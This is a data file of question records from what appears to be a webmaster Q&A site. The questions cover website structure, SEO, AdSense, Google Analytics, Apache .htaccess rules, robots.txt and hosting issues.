{"id":"39088","title":"Directory structure for a website (js\/css\/img folders)","text":"For years I've been using the following directory structure for my websites: <root> ->js ->jquery.js ->tooltip.js ->someplugin.js ->css ->styles.css ->someplugin.css ->images -> all website images... it seemed perfectly fine to me until I began to use different 3rd-party components. For example, today I've downloaded a datetime picker javascript component that looks for its images in the same directory where its css file is located (css file contains urls like \"url('calendar.png')\"). So now I have 3 options: **1)** put datepicker.css into my css directory and put its images along. I don't really like this option because I will have both css and image files inside the css directory and it is weird. Also I might meet files from different components with the same name, such as 2 different components, which link to background.png from their css files. I will have to fix those name collisions (by renaming one of the files and editing the corresponding file that contains the link). **2)** put datepicker.css into my css directory, put its images into the images directory and edit datepicker.css to look for the images in the images directory. This option is ok but I have to spend some time to edit 3rd-party components to fit them to my site structure. Again, name collisions may occur here (as described in the previous option) and I will have to fix them. **3)** put datepicker.js, datepicker.css and its images into a separate directory, let's say \/3rdParty\/datepicker\/ and place the files as it was intended by the author (i.e., for example, \/3rdParty\/datepicker\/css\/datepicker.css, \/3rdParty\/datepicker\/css\/something.png, etc.). Now I begin to think that this option is the most correct. Experienced web developers, what do you recommend?"}
{"id":"68290","title":"What is the best way to have the same website in multiple domains?","text":"I would like to have the same website to sell a specific product, in multiple domains , to take advantage of keywords matching the domain name, for several different searches. However, I understand that having the same content in multiple sites will unleash the wrath of Google. If I have a redirect from all domains minus one, to that last one, do I still get any bonus for the \"magic exact domain match jackpot\"? Same question applies to canonical URLs... What's the best way to approach this? Thanks!"}
{"id":"12073","title":"My site keeps getting rejected by a bot with empty reason & details","text":"My site submission to Adsense keeps getting rejected by Google bot within an hour with blank reason and details(my first submission on Sunday, this time). When I raised it in Adsense forum, they have me mailed reason - site was down or unavailable. I submitted a couple of times since Sunday but it gets rejected. First time my site was rejected due to navigational issues which I corrected. Second time came \"Unacceptable contet\". I then added Privacy policy & TOS. Now all other advertising companies have accepted my site including Citika & Adbrite. What should I do now? I've another site coming up for approval in Adsense. Should I apply from my father's name? **Rejection message:** > We did not approve your application for the reasons listed below. > > Issues: > > * * * > > Further detail: > > * * *"}
{"id":"39087","title":"How to copy Wampserver functionality for localhost on Ubuntu","text":"How to recreate a Wampserver like functionality on my localhost so I can see loaded Apache\/PHP\/MySQL Version, Loaded PHP modules, My Projects (actual directories in the \"\/var\/www\"\/) and etc."}
{"id":"56423","title":"Sitemap for a one-page site","text":"I'm wondering whether it's worth the effort to create a sitemap for a single- page site. By single page I'm not talking about a webapp made with Angular or Backbone, just a presentation site\/page which has navigation links that link to sections within that particular page. For example: <a href=\"#aboutus\">About Us<\/a>"}
{"id":"56424","title":"How to track users who access an app three times a week in Google Analytics","text":"I have an IOS app that is being tracked, and I'm looking to find unique users who use the app 3 or more times a week. I am able to find users who logged three sessions in a particular week, but I'd like to find users who log three sessions **every** week since a given start period. Similarly, I'd like to find the number of users who use the app > 1 time a week and one and > 1 time a month. Is this possible through Google Analytics?"}
{"id":"39080","title":"Taking advantage of a portfolio of quality domain names","text":"I own about 20 quality domain names (brandable\/memorable, letters only .com) that include keywords relating to my web site. Most of them were purchased during the process of selecting a brand. What strategies are available to take advantage of these otherwise unused domains from an SEO or web marketing perspective?"}
{"id":"50109","title":"SEO implications of blocking users viewing more than X pages","text":"I'm considering the option to block non-premium users after viewing more than X pages. This basically means blocking the content after a fixed amount of pageviews per session. I can either: 1. Keep displaying full-content for Search Engines. Can this be considered cloaking? 2. Keep the real content in the background, and a pop-up that makes it not-viewable (like quora does). Can this make pages rank lower?"}
{"id":"24475","title":"Wordpress 3.3.1 mySQL very high CPU usage ","text":"My host has given me this log and tells me its mySQL overloading my server: | 266976 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 266978 | db_name | localhost | db_name | Query | 29 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 266980 | db_name | localhost | db_name | Query | 45 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 266996 | db_name | localhost | db_name | Query | 43 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267002 | db_name | localhost | db_name | Query | 44 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267008 | db_name | localhost | db_name | Query | 10 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267011 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267013 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267016 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267018 | db_name | localhost | db_name | Query | 13 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267023 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267033 | db_name | localhost | db_name | Query | 44 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267034 | db_name | localhost | db_name | Query | 44 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267040 | db_name | localhost | db_name | Query | 43 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267041 | db_name | localhost | db_name | Query | 10 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267050 | db_name | localhost | db_name | Query | 42 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267058 | db_name | localhost | db_name | Query | 38 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267060 | db_name | localhost | db_name | Query | 29 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267062 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT p.* FROM wp2_posts AS p INNER JOIN wp2_term_relationships AS tr ON p.ID = tr.object_id INNER | | 267072 | db_name | localhost | db_name | Query | 34 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267075 | db_name | localhost | db_name | Query | 34 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267076 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT p.* FROM wp2_posts AS p INNER JOIN wp2_term_relationships AS tr ON p.ID = tr.object_id INNER | | 267084 | db_name | localhost | db_name | Query | 19 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267087 | shonline | localhost | shonline_sho2011 | Query | 15 | update | INSERT INTO accesslog (title, path, url, hostname, uid, sid, timer, timestamp) VALUES ('???? | | 267088 | db_name | localhost | db_name | Query | 2 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | | 267089 | db_name | localhost | db_name | Query | 30 | Copying to tmp table | SELECT SQL_CALC_FOUND_ROWS wp2_posts.* FROM wp2_posts INNER JOIN wp2_term_relationships ON (wp2_po | The server is a Xeon quadcore, 4GB RAM, 2Mbit up and down bandwidth. Monthly 2 million visitors. Apache set to 500 concurrent and SQL set to 250. Plugins: Adrotate \/ Contact Form 7 \/ Disqus \/ Events \/ Jetpack \/ Really Simple Captcha \/ Use Google Libraries \/ WebsiteDefender \/ Wordpress.com Popular Posts \/ WP-Page Navi \/ WP-Print \/ WP-Minify \/ WP-Super Cache How can I fix this?"}
{"id":"35281","title":"The \"Total Indexed\" is always zero in Google Webmaster Tools","text":"I'm a newbie in Google Webmaster Tools. I've verified my site, created my sitemap and submitted it to the google webmaster account. But after a week of waiting I've found that 46 out of 250 URLs in my sitemap are indexed (optimization -> sitemaps) but the Total Indexed is always a zero? Is this normal or do I have to do something else?"}
{"id":"35287","title":"SEO for maps-based websites that require user interaction","text":"I have a website that basically shows a lot of locations worldwide on a Google Maps like interface. The map itself is built using the Leaflet library and Open Street Map tiles. In the map, I show markers at each location I have. There is a popup window when I click on a marker that shows additional information and contains links to \"detail\" pages for this location. I fetch the location data for the viewpoint from an AJAX call from my server, so the additional information is not available in the HTML page itself. The detail pages are the pages my users are interested in. My normal users load the map, search the location they are interested in, click on a marker and click on a link in the popup window. However for search engines, this might look different. As this navigation pattern relies on user interaction, I think they might not be able to find the details page. My questions: * Are search engines able to follow a navigation path like outlined above? * How can I improve the navigation for search engines? (For example showing textual links below the map, sitemaps...) * How important are internal links for SEO?"}
{"id":"55888","title":"Why is RPM for mobile is much less than RPM for desktop in Google Adsense?","text":"I have about 50% of my website's traffic on mobile devices (iOS and Android.) The RPM for mobile is much worse than RPM for desktop. Is there any way I should do to increase the RPM? Data here: PV | Click | CTR | CPC | RPM Desktop 652,183 16,283 2.50% $0.22 $5.43 High-end mobile devices 657,782 6,504 0.99% $0.09 $0.93 Tablets 46,873 657 1.40% $0.15 $2.08"}
{"id":"61541","title":"What can I give back to my users for their donations","text":"I want to give something back to my users, if they decide to donate to my website. Everything is free, so I need to give something virtually. Do you have any ideas? I thought about postcards (but didn't find api for that)."}
{"id":"61540","title":"Google AdSense is not reviewing the URL I submitted, using my local virtual host url instead","text":"I'm very confused. I'm trying to get my site (let's just say www.mysite.com) approved for Google AdSense. I submitted the application using \" **www**.mysite.com\" and I got a reply from AdSense saying my application was rejected because \" **dev**.mysite.com\" was unavailable. \"dev.mysite.com\" is my local virtual host that is set up in Apache and my Windows `hosts` file. It is NOT a public URL and will not work anywhere except my computer. My site uses relative paths, so \"dev.mysite.com\" is not in the source code anywhere. My two questions are HOW is AdSense getting my local virtual host URL, and WHY is it using that URL for approval instead of the URL I submitted in my application?"}
{"id":"61542","title":"How to inspect code in case of Arabic language?","text":"In case of English, I am able to view by inspect element directly. I want to do the same for Arabic. Using `body{direction:rtl}` only flips some views but it does not apply `body.rtl` specific CSS elements. For example if I say `body.rtl #abc{}` the properties under this wont work."}
{"id":"19216","title":"nofollow doesn't stop crawling?","text":"In my website, most of the pages has a linkedin sharing button written in this way: <li> <a id=\"share_linkedin\" href=\"\/link\/share\/linkedin\/Dance+Combo+%28Jazz%2C+Tap%2C+Contemporary+Dance%29+%28Age+16+or+above%29\" rel=\"external nofollow\" class=\"share_icon\" title=\"LinkedIn\" target=\"_blank\"> <span><\/span> <\/a> <\/li> I'm sure this is the only code that I use in all the pages for the button. I also have blocked crawling of all the '\/link\/share\/' URLs in the robots.txt file. However, I saw many \"Restricted by robots.txt\" errors in Google Webmaster. These errors are all associated to \/link\/share\/linkedin\/ URLs. Almost every day I got hundreds of such errors, I'm afraid these daily errors will cause negative impact on the ranking of the website. So I'm wonder why google will report error for \"nofollow\" links, and what's wrong with my codes? ===Update=== I've got 400 such errors in 4\/9\/2011 and 370 in 3\/9\/2011. If there is nothing wrong with the website, then is there an option to get rid of it? Thanks!"}
{"id":"22149","title":"Is the Google Webmaster Tools verification temporary?","text":"When you add a site to Google Webmaster Tools, it asks you to verify it (e.g. via a `<meta>` tag). I verified a site a while ago, but when I logged in, I noticed that it isn't verified anymore. The history shows that it was verified 58 days ago, but then 30 days ago it tried and failed saying that \"revierification failed\". I'm not sure if this is a result of some setting I changed which required a reverification, or if Google Webmaster Tools periodically tries to verify the site. I was under the impression that the verification only happens once when you add the site, and then you can delete the `<meta>` tag. If this is not how it works, and it does reverify periodically, will it require a different `<meta>` tag value or can I keep the original one I used and never have to worry about it again?"}
{"id":"22418","title":"Run a Google Adwords campaign during particular times for multiple time zones","text":"Is it possible to have a Google Adwords campaign covering lots of countries and lots of different time zones, and to have ads showing only during particular times of day as per those time zones? For example, I want the ads to display between 9am and 5pm for each time zone where I have a campaign running. Is this possible?"}
{"id":"22419","title":"Requirements Gathering Form?","text":"Do you use a standard form to gather requirements from a customer prior to making a website? If so what are the questions you ask? **For example** Purpose of Website: (sell products, reduce number of enquires, reduce work load, etc) Do you have you’re an existing logo? (can you send it via email) Do you have a preferred font for the website text? Do you have a colour theme for your logo, business cards, shop you would like to keep on the website Do you have photos you can provide of your Products? etc Ofcause it would need to be tweaked slightly for each customer but I was looking for a generic document as a baseline."}
{"id":"22145","title":"What registrars can I use to transfer a .co.uk domain?","text":"I am taking over a .co.uk domain from another party and need a reputable registrar. Network Solutions and Godaddy both state they can't handle .co.uk domains. What other reputable registrars can help?"}
{"id":"4056","title":"Proper way to move Google Analytics code from one site to another one","text":"Currently, I use Google Analytics for `www.example.com`. `example.com` is also added to GA and shows \"Tracking not installed\". Recently I added rewrite rule (301 redirect) to redirect all requests from `www.example.com` to `example.com`. How should I move\/update GA code to properly track visits to `example.com`?"}
{"id":"4050","title":"Is Wikipedia a good source of traffic?","text":"I would like to know, from your experience, if having a link on Wikipedia could generate some traffic to the pointed site. For example, the references at the end of this sausages page points to : http:\/\/www.argentina.ar\/_en\/country\/C161-the-gastronomy\/... do you think that site is getting some major traffic from Wikipedia?"}
{"id":"51500","title":"Posting public key","text":"Should I put my public PGP key on my website so that people can securely contact me? I have seen personal sites where their public key is at the bottom of the page, such as this site by the computer scientist Peter Gutmann. 1. How should I include the key in my page? 2. Is there a standardized way to include the key? Many sites include them at the bottom of the page."}
{"id":"13748","title":"Can I get IIS to treat some .shtml files as .php files?","text":"I want to be able to get IIS to interpret SHTML files (only in a specific directory) as PHP, and interpret the rest as SHTML. _If so_ , then **how**?"}
{"id":"4058","title":"What benefit do you get from posting terms of service, privacy policy, etc.?","text":"Just wondering why you'd post terms of service, privacy policy, etc. on a website."}
{"id":"43281","title":"SEO pros and cons of choosing a long title for my website","text":"I've got a company website which offers website design services. I've just started to improve search engine visibility of the website. I've chosen some keywords and the first thing I need to think about is the title of my website. There are 6 important keywords for us. By including all keywords in the title of the website which is something like **company name | keywords**. I noticed that the title is long and not much readable for the readers on the browser tab. What are the pros and cons of choosing this long title for my website?"}
{"id":"3610","title":"How do I use my own domain for my own openID login without having to make a myopenid domain account?","text":"I have my own domain signed-up under myOpenID as follows: openid.mysite.com Everything is verified and seems to be working properly on the myOpenID site. However, now I want to setup my website so I only have to enter the domain name as my openID login. I have read http:\/\/blog.stackoverflow.com\/2009\/01\/using-your-own-url-as-your- openid\/ and understand the basic concept using header link tags. However, instead of... <link rel=\"openid.server\" href=\"http:\/\/www.myopenid.com\/server\"> <link rel=\"openid.delegate\" href=\"http:\/\/username.myopenid.com\/\"> I want to use my own site for the openid.delegate as follows... <link rel=\"openid.server\" href=\"http:\/\/www.myopenid.com\/server\" \/> <link rel=\"openid.delegate\" href=\"http:\/\/openid.example.com\/username\" \/> And this works on my site with no problems! However, I only plan to have one user authenticated through my site, me. I do not plan on having any other users, so I would simply like to have... <link rel=\"openid.server\" href=\"http:\/\/www.myopenid.com\/server\" \/> <link rel=\"openid.delegate\" href=\"http:\/\/openid.example.com\" \/> ...note the lack of username in the openid.delegate href. I want to do this not only for a shorter link href, but also so I don't have to make a domain account on myopenid.com, adding yet another login, etc. Does that make sense? Is this possible? Thanks in advance!"}
{"id":"65306","title":"Duplicate content error results instead of a 404 page","text":"My current URL is: `www.example.com\/category\/we-developer\/` However, if any user mistakenly adds extra characters after the `\/`, for example, `www.example.com\/category\/we-developer\/fgggfgg`, it should take him to a `404` page. But instead, the user is again viewing the previous page (`www.example.com\/category\/we-developer\/`) This is why Google is showing it as a duplicate page. What I wish is that instead of opening the same page, the user would be taken to a '404` page. Can you advise on how to do this? Note that my site is using CodeIgniter."}
{"id":"3616","title":"Keyword research: 'docx converter' in Google","text":"Why did not **docxconverter.com** show up when I type **docx converter** in **google**? The closest match is **www.docx-converter.com**. My question 1: What are the reasons for **www.docxconverter.com** not showing up? My question 2: Which among the domain **www.docxconverter.com** and **www.docx-converter.com** is friendly with keyword phrase docx converter, and why?"}
{"id":"3618","title":"What are the reasons not to use a .us domain name?","text":"I have a client considering using a .us domain name. Are there any particular reasons, other than familiarity, not to use a .us name? In this case, the site visitors will likely be mostly non-us based - is it possible that this could mitigate any familiarity issues (with more international users being used to seeing non-.com domains)? Are there any SEO reasons not to use a .us name?"}
{"id":"21824","title":"What Captcha Services are available for free?","text":"I'm looking for a free captcha service for a html\/css\/php site. reCAPTCHA seems to be very famous. Is it effective? Are there maybe other good captcha services which are available for free?"}
{"id":"56280","title":"Upgrading Apache 2.2 to Apache 2.4","text":"I'm planning to upgrade **Apache 2.2** running on my centOS 6.5 server to **Apache 2.4** , Does the new Apache version worth the update?"}
{"id":"43131","title":"<title>word\/word | etc..<\/title> or <title>word-word | etc.<\/title> re: SEO","text":"With regards to SEO and the title tag would there be a difference between using a \/ for related words or using a - ? For example: Air\/Gas Filter | Another Filter | Last Filter or Air-Gas Filter | Another Filter | Last Filter I've never been sure if it makes a difference. Thanks in advance for the input."}
{"id":"58968","title":"2 x domains for same site in Google make canonical or not?","text":"A client has a site since 1999 with a domain consisting of two, very descriptive of the business, words (let's say dog-toys.ie). In about 2001 he decided to change to dogtoys.ie (was running radio ads and figured the dash may add confusion to the site name). So without thinking too much about it, I just parked dogtoys.ie onto dog-toys.ie. Also, for both domains, we have not made www canonical so www.dogtoys.ie\/example.html or dog-toys.ie\/example.html are the same page. We have read many times that Google etc do not like this, however the site has performed fairly well SEO wise for the last 10 year and the client and I are torn between leaving things as is, and fixing it to make www.dogtoys.ie canonical via mod rewrite (or would the dashed version offer better performance?) Thanks in advance!"}
{"id":"43135","title":"How to make CloudFlare Cache all pages","text":"CloudFlare seems to only cache my homepage, and I am wondering if there is a way to force it to cache all pages. Notice it when BlueHost went down today and only my homepage is cached by CloudFlare. Any thoughts? This is the free account on a Wordpress site. However, pages have not been updated since launch."}
{"id":"23946","title":"Are there cases where max width of the design can be 960px for 960.gs grid?","text":"I know the standard width of content should be 940px if you want to use all its columns properly. But are there cases where I should use 960px for content? I am just having a dispute with my colleague about what's preferred size - 940px or 960px. As I understand it should be 940px, as it is being used on most sites that use this grid system. So, what's the right width?"}
{"id":"2562","title":"Music on a web page?","text":"When is it suitable to use background music on a web site? Do users like this?"}
{"id":"11429","title":"A JavaScript Rich Editor That Doesn't Convert Non-ASCII Text to Character Entities?","text":"I am working on a site for Spanish speakers, and I am looking for a UTF-8 enabled JavaScript Rich Text Editor that preserves non-ascii characters as text, instead of entity encoding. That is, when I type the words \"cañón\" and \"pingüino\", I want the RTE to preserve the non-ascii characters as they are, not to encode them into \"cañón\" and \"pingüino\". So far I have checked out CKEdit, MCEdit and Nicedit, and the three of them convert my text to entities."}
{"id":"32087","title":"Do you still get a bounce in Google Analytics if all the linked pages\/content is loaded dynamically?","text":"Google Analytics describes a bounce as a user that visits and leaves before after their first page. But if your site is a one page site, with content loaded dynamically using JavaScript, you could have a user on your site go through loads of info, text images; would that still count as a bounce? Or once they click on an **a-tag** even if it is `<a href=\"#\">` can Google Analytics see that? I'm aware of click tracking in Analytics, but I was wondering does Google pick up these clicks by default?"}
{"id":"17117","title":"Rel no follow on EVERY link?","text":"Forgive me for asking such a simple question, I understand why you would want to rel nofollow untrusted links (forum posts, blog comments etc), but why would you not want to do it on EVERY link on your website? I know it's greedy and perhaps unethical, but if I write a blog post and link to an interesting website within that post, am I losing out in any way by not rel nofollowing it? Is my juice leaking?"}
{"id":"52056","title":"SugarCRM and CodeIgniter integration","text":"I am trying to integrate CodeIgniter inside SugarCRM by placing my CodeIgniter directory contents to my custom made SugarCRM module folder, but it doesn't work."}
{"id":"17118","title":"Can i export a wordpress site to html?","text":"I want to export a wordpress site with themes and images to html format like we can do in blogspot. Is there a plugin or a tool for the same."}
{"id":"60140","title":"Does meta name=robots content=nofollow prevent indexing iframes?","text":"Let's say I have a publicly accessible page that contains an iframe back to a different page on my own domain. By default, google (and other crawlers) will index that page and the iframe's content. It may also associate that iframe content with the parent page, but that's not relevant to this question. What I want to do is prevent links on the parent page from being crawled, but I still want to allow bots to crawl the iframe. If I add `<meta name=\"robots\" content=\"nofollow\"\/>` to my parent page, does that also tell bots not to crawl the iframe?"}
{"id":"63168","title":"Google not indexing the blogger-hosted blog after adding custom domain","text":"I had a blogger-hosted blog (.blogspot) , it was in the first search results at Google when looking up about a specific keyword. 9 months ago, I transfered the blog to a .com domain from GoDaddy. When I did that, the blog posts were completely removed from Google. My website is not showing up at all when looking for the same keyword. The new domain has a page rank 4\/10 added my new domain to Google Webmaster tools. I tried to change some meta tags, but nothing worked, my new domain is not showing up for anybody in Google except when searching the website name. What could the problem be?"}
{"id":"60149","title":"How to renew 10 years registeration","text":"**Do I have to loose my domain registered 9 years and 11 months ago?** ICANN says maximum length of time for registration is 10 years. As far as I learnt through registrars,I can renew my domain only up to 10 years. What if my site is successful? Shall all of my domain ends at the 10 years period? What google and other corporations do to keep their domain more than ten years. I'll be grateful to receive any insights from you"}
{"id":"53901","title":"Does authorship markup interfere with Google rich snippets?","text":"We are currently supporting a website where we have successfully added rich snippets on the product pages and they show up properly on Google search results. What happens when Authorship has been added to the website? Will they interfere with each other?"}
{"id":"57482","title":"Need help writing .htaccess \/ Apache rule","text":"I have some URLs which are now 404 due to site upgrade. I want all URLs starting with `www.example.com\/archives\/*` to point to `www.example.com\/news` (notice that after archives there is a wildcard char). Can someone here please help me with the code for _.htaccess_ rules?"}
{"id":"961","title":"Redirect based on country","text":"Let's say I have a site that has multiple versions for different countries, e.g.: www.example.com\/us www.example.com\/uk www.example.com\/ca and I want to use IP geolocation to redirect users who go to `www.example.com` to the appropriate country version of the site. What is the best way to do that without confusing crawlers such as Googlebot or running into other SEO type trouble?"}
{"id":"22524","title":"SEO Boost on launch?","text":"Will Google give you a SEO launch on your start, so that you can rank upper or in the first 10-20 on the very same day you get indexed?"}
{"id":"61637","title":"Does an SSL Certificate actually require a dedicated IP?","text":"My web host which I have been with for at least going on 8 years now is requiring a dedicated IP address, which is $3.33\/Month now for assigning a SSL Certificate with my web hosting package and website. Now, in the past, they never did this, till they changed their web hosting plans and options. In the past, I was able to assign an SSL Certificate by just entering the information required to do so, now I have to pay for a dedicated IP for the SSL Certificate. Even then, that isn't too bad, but it has to be an SSL Certificate through them. **Does an SSL Certificate actually require a dedicated IP address for it to work?** The hosting is Linux and done by BlueHost. I can not get a straight answer from the Customer Support, so I have to ask it outside of that. **Are they just trying to make more money or are is the dedicated IP a requirement?** Here is the information which I can provide about my web hosting package: * cPanel for the Control Panel * Linux Shared Hosting"}
{"id":"25603","title":"Creating a CDN to boost page ranking?","text":"I had a thought about CDNs and if they affect page rankings. Lets say hypothetically if I was to create a CDN as a subfolder in my site. This folder would contain a resource that is useful e.g. Javascript library. This resource I would then share with other sites who would include my CDN resource into their pages. Would this improve my rankings in Google etc. as their analytics will detect the resource link to my own website and then index it or record it somewhere?"}
{"id":"65781","title":"Where is the Traffic Sources report in Universal Analytics?","text":"Where is the `Traffic Sources Report` in Universal Analytics? I'm in Unit 2.2 of \"Getting Started with Digital Analytics\" and in the existing Universal Analytics account I can only find `Realtime Traffic Sources`, and there is nobody on my site at the moment. When I search for `Traffic Sources Report` in Analytics, the only thing that comes up is the `Real Time traffic sources`. Did they change this from the days of Google Analytics?"}
{"id":"46703","title":"htaccess doesnt work in subfolder","text":"I'm using xampp with apache on my windows machine. My directory structure is: C:\/xampp\/htdocs ---------------\/Sync --------------------\/ProtectedFolderA -------------------------------------\/.htaccess -------------------------------------\/A.zip, B.zip ... --------------------\/ProtectedFolderB --------------------\/etc ------------------------\/.htpasswd, htgroup I want to list the ProtectedFolderA and B if I open localhost\/Sync\/. They contain some files which are restricted by HTTP Auth. If i open them they should list the files in the way specified in the htaccess. The etc directory contains some images and css. I also change some preferences like header and icons. So this is my .htaccess in ProtectedFolderA: RewriteEngine On AuthType Basic AuthName \"Restricted Directory\" # Only allow request after authentication AuthUserFile c:\/xampp\/htdocs\/Sync\/etc\/.htpasswd AuthGroupFile c:\/xampp\/htdocs\/Sync\/etc\/.htgroup require valid-user Options +Indexes IndexOptions HTMLTable IndexOptions FancyIndexing IndexOptions IconsAreLinks IndexOrderDefault Descending Name IndexStyleSheet C:\/xampp\/htdocs\/Sync\/etc\/file_style.css HeaderName C:\/xampp\/htdocs\/Sync\/etc\/file_head.html IndexOptions FoldersFirst IndexOptions NameWidth=90 IndexIgnore *.php *.htaccess *.html *.xhtml *.xmi *.xml *.png *.jpg *.css *.txt AddIconByType C:\/xampp\/htdocs\/Sync\/etc\/file_stock_index_down.png application\/zip <Files *.zip> deny from all <\/Files> <filesMatch A.zip> AuthName \"Download A.zip\" AuthType Basic Require group A Order allow,deny Allow from all <\/filesMatch> <filesMatch B.zip> AuthName \"Download B.zip\" AuthType Basic Require group B Order allow,deny Allow from all <\/filesMatch> <filesMatch C.zip> AuthName \"Download C.zip\" AuthType Basic Require group C Order allow,deny Allow from all <\/filesMatch> But there are no changes on the icons. Are the path to the css and pictures are wrong? I can't open the css file in the code view. <!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 3.2 Final\/\/EN\"> <html> <head> <title>Index of \/Sync\/V6<\/title> <link rel=\"stylesheet\" href=\"C:\/xampp\/htdocs\/Sync\/etc\/file_style.css\" type=\"text\/css\"> <\/head> <body> Firefox says that it doesnt know the protocol \"C\". But I don't know a better path?! I don't know what I'm doing wrong. RewriteEngine is enabled. Some ideas?"}
{"id":"20156","title":"Does redirecting old site's URLs to new site's front page hurt a page's ranking?","text":"An old site that is being rewritten needs to have it's URLs redirected to the new site. There are a few hundred pages that may or may not have corresponding pages on the new site, probably with different slugs, and adding mappings manually will require more hours than we can spare. It was suggested that all old URLs be redirected to the new front page, but I remember reading somewhere that this confers a penalty in page rank because it's what link farmers do. Is this true or can we take the easy way out?"}
{"id":"57987","title":"possible link exchange and duplicate content on 2 domains","text":"I have two different domains, a forum and a blog, both about books and reviews. Tha last one is quite new, just about 2-3 months old. In the last weeks I've published several equal book reviews on both websites. For example there are two identical articles about Pride and Prejudice and the one on the forum has a link pointing to the one on the blog, saying something like \"hey, this review has been published also in our blog, you can read it here\". Well, today I saw on Tools for Webmasters that both have been probably penalized since impressions on SERPS suddenly dropped down of about 50% on both sites and in the same day (6th February). Now I got rid immediately of reviews on the forum, keeping only the ones on the blog but I'm not sure that it will be enough to make Google reconsider both domains. What should I do and how much time will it take to recover?"}
{"id":"61631","title":"What are the Pros and Cons for password recovery change links in email?","text":"Although a lot of sites still send your password in plain text through email, there has been a push to send a web page url instead. But how can that be any more secure than the password in clear text? If someone is going to intercept your email, they get your password either way. So isn't sending the url through email just an illusion of security?"}
{"id":"20463","title":"How does google know my twitter name?","text":"Sometimes when i google i see this result > Are you MyTwitterName on Twitter? If so, you can see more results like this > by connecting your Twitter account to your Google Account. Learn more How does google know my twitter name? I checked and it doesnt seem to be an iframe. I know sites are not able to access other sites cookies\/data for exploits (stealing cookies\/hijacking account but also for privacy) reasons. So how does google know my twitter name? Is twitter making that info accessible to every site i browse (and if so how?) is google guessing by whats on my browser (referals maybe?) or using data in my gmail account?"}
{"id":"48135","title":"Google Analytics - aggregating data for multiple property IDs?","text":"Is there a tool that can aggregate data for several property IDs across all your properties\/accounts? I currently have an analytics account under which I have several properties setup for different clients. Can I aggregate data across all these? For example, if I wish to track general trends such as Facebook visits over time s, is there any efficient way of doing it without going into each account and setting filters for traffic sources? I came across http:\/\/www.reportingsuite.com but I'm looking for something more flexible."}
{"id":"44709","title":"Bootstrap tutorial","text":"I am a newbie :( Out of a mix of curiosity and a desire to live on the edge, I just downloaded Twitter's Bootstrap! I see many cool bells and whistles there! The problem is I don't know how to go about building the next Insane Web site! Can some good folks here hand-hold me on the way to finding some good Bootstrap tutorial? I hope I haven't really asked a real 'newbie' question.Thanks a lot!"}
{"id":"42661","title":"Preventing search engines to crawl on specific folders","text":"I have set the robot.txt of my website as follow after seeing lots of errors in google's webmaster tools. Mainly because of the Smarty template files. So I changed my robots file as follow: User-agent: * Allow: \/ Disallow: \/templates_c My question is, in the second line I allow every folder, and in the third line I disallow `\/templates_c` folder. So which case will be evaluated by the robots? I mean if I am allowing everything but next line disallow one folder, what will be the result? Or should I add any folders that I want to be searched to `Allow` and then call `Disallow`?"}
